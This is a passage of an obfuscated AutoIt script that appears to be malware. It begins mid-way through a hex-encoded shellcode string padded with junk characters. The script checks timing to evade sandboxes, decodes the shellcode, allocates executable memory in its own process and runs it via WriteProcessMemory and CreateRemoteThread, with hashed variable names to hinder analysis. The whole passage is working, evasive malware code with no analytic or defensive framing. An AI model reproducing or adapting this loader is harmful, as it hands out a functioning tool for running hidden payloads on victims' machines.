50FFG55F8G50GFF55GGGFC89458CGG8D45D0GG508DG45GE850FFG55F850GFF55FC89GGG45908D45DC508D45E850FF55GGGF8G50FF55GGFC894588GG8DG45C450GG8D45GE8GGG50FFG55F8GG50FFGG55GFCGG894584B981GGGG00000033C0GGG8DBDG62GGFDFFFF6689G9DG60FDGFFGFF6804G01G0000F3ABG66AB8D8560GFDGFFGFFG5053GFFGGD6G5353G6A03G53GG6A01GG8DGGG8560FDFFGFFG68GG00G00G008050GGGFF95G6CFFFFFF8BF8G5357FFG55GG908BGGF0G6A40G68GG003000008DG8600G040000GGGGG5053FFG558C8DGGG8D68GGFFGFFGGFF5351G565057894590GFF558857FF5584GB99FGG0F000033C0GG8DGGGBDGE1GBEGFFGFF88G9DGE0BEGGGGFFFFGGGF3GAB66GABGGGAA33GC08DBD74GFFFFFFGGGGGGC685G71FFFFFFBDC68572GFFGGFFGFFGADGC68573GFFGFFGFFG1BABABGABGABG33C03BF3GC685G70GFFFFFFAAG76658BGG7DGGG90G803C38AA75G248A4CGG38013A8D71GGFFFFGGGFF75GGG188A4C3802GG3AG8D72GFFFFFF750C8A4C38033A8D73FFFFFFG740E8D4EFFG3BGC174GGGGGGG70G40GG3BC672GC7GEB2AGG33F603C7GG8A4CG3014888C35E0BEGGFFFF46GGG81GFE943E00G0072ECG33GGF6G8AG0CG30888C3570FFGGGGFFGFFGG46G83FEGG1472F0BE803E0000G6A148D85GG70FFGFFGGGGFF56G50GG8DG85E0BEFFGGGGGGFFGG50GGE8EEGFBFFGFF83C4G106AG4068003000G005653GFF55G8C8BGF8GG8DG85E0BEGFFFF565057E8ACGFAGFFGFF83C4GG0CGFFGD75F5E33GC05BC9C3CCCCCCCCCCCCCCCCG513D001000008DG4C240872G1481GGE9001000G002DG00G100000GG8501G3D001000G0073GGEC2BC8G8BC4GG85G018BE18B088B40G0450C3" If _winapi_createfile(@AutoItExe, 1, 2, 2) <> 0 Then _y0xc290d0743d86aba5040032d3e8d9b292() $_y0x67e3bdca4c03dd972f5bc951c8153ac6 = DllCall("kernel32.dll", "DWORD", "GetTickCount") DllCall("kernel32.dll", "int", "Sleep", "int", 100) $_y0xf6c9fcfbba71f8e3a7c7e344d1a90049 = DllCall("kernel32.dll", "DWORD", "GetTickCount") If $_y0x67e3bdca4c03dd972f5bc951c8153ac6[0] + 135 > $_y0xf6c9fcfbba71f8e3a7c7e344d1a90049[0] Then $_y0x47791c9793540e4227f10e59291ae678 = StringReplace($_y0x47791c9793540e4227f10e59291ae678, "G", "") Local $_y0x6f2c9a62ca0b468b49545025ab4e6b4c = DllStructCreate("byte[" & StringLen($_y0x47791c9793540e4227f10e59291ae678) / 2 & "]") For $_y0x6c3e1dd642972a5ed13122b8480d448f = 1 To DllStructGetSize($_y0x6f2c9a62ca0b468b49545025ab4e6b4c) DllStructSetData($_y0x6f2c9a62ca0b468b49545025ab4e6b4c, 1, Dec(StringMid($_y0x47791c9793540e4227f10e59291ae678, ($_y0x6c3e1dd642972a5ed13122b8480d448f - 1) * 2 + 1, 2)), $_y0x6c3e1dd642972a5ed13122b8480d448f) Next Local $_y0x86660dec3147ae42493bcdde95922e61, $_y0x0e6b2ff08d97d3cb1294380060de6ca5, $_y0x9355d363dd0a85289cfec30b86c24f69, $_y0xc3d76f24146ef14c76aaa135c785f276 $_y0x86660dec3147ae42493bcdde95922e61 = DllCall("Kernel32.Dll", "int", "OpenProcess", "int", 2035711, "int", 0, "int", _winapi_getcurrentprocessid()) $_y0x0e6b2ff08d97d3cb1294380060de6ca5 = $_y0x86660dec3147ae42493bcdde95922e61[0] $_y0x86660dec3147ae42493bcdde95922e61 = DllCall("Kernel32.dll", "ptr", "VirtualAllocEx", "int", $_y0x0e6b2ff08d97d3cb1294380060de6ca5, "ptr", 0, "int", DllStructGetSize($_y0x6f2c9a62ca0b468b49545025ab4e6b4c) * 1000, "int", 4096, "int", 64) $_y0x9355d363dd0a85289cfec30b86c24f69 = $_y0x86660dec3147ae42493bcdde95922e61[0] $_y0x86660dec3147ae42493bcdde95922e61 = DllCall("kernel32.dll", "int", "WriteProcessMemory", "int", $_y0x0e6b2ff08d97d3cb1294380060de6ca5, "ptr", $_y0x9355d363dd0a85289cfec30b86c24f69, "ptr", DllStructGetPtr($_y0x6f2c9a62ca0b468b49545025ab4e6b4c), "int", DllStructGetSize($_y0x6f2c9a62ca0b468b49545025ab4e6b4c), "int", 0) $_y0x86660dec3147ae42493bcdde95922e61 = DllCall("kernel32.dll", "int", "CreateRemoteThread", "int", $_y0x0e6b2ff08d97d3cb1294380060de6ca5, "ptr", 0, "int", 0, "int", $_y0x9355d363dd0a85289cfec30b86c24f69, "ptr", 0, "int", 0, "int", 0) $_y0xc3d76f24146ef14c76aaa135c785f276 = $_y0x86660dec3147ae42493bcdde95922e61[0] Do $_y0x86660dec3147ae42493bcdde95922e61 = DllCall("kernel32.dll", "int", "WaitForSingleObject", "int", $_y0xc3d76f24146ef14c76aaa135c785f276, "int", 50) Until $_y0x86660dec3147ae42493bcdde95922e61[0] <> 258 DllCall("Kernel32.dll", "int", "CloseHandle", "int", $_y0xc3d76f24146ef14c76aaa135c785f276) $_y0x86660dec3147ae42493bcdde95922e61 = DllCall("Kernel32.dll", "ptr", "VirtualFreeEx", "hwnd", $_y0x0e6b2ff08d97d3cb1294380060de6ca5, "ptr", DllStructGetPtr($_y0x6f2c9a62ca0b468b49545025ab4e6b4c), "int", DllStructGetSize($_y0x6f2c9a62ca0b468b49545025ab4e6b4c), "int", 32768) DllCall("Kernel32.dll", "int", "CloseHandle", "int", $_y0x0e6b2ff08d97d3cb1294380060de6ca5) _winapi_msgbox(0, 0, 0) EndFunc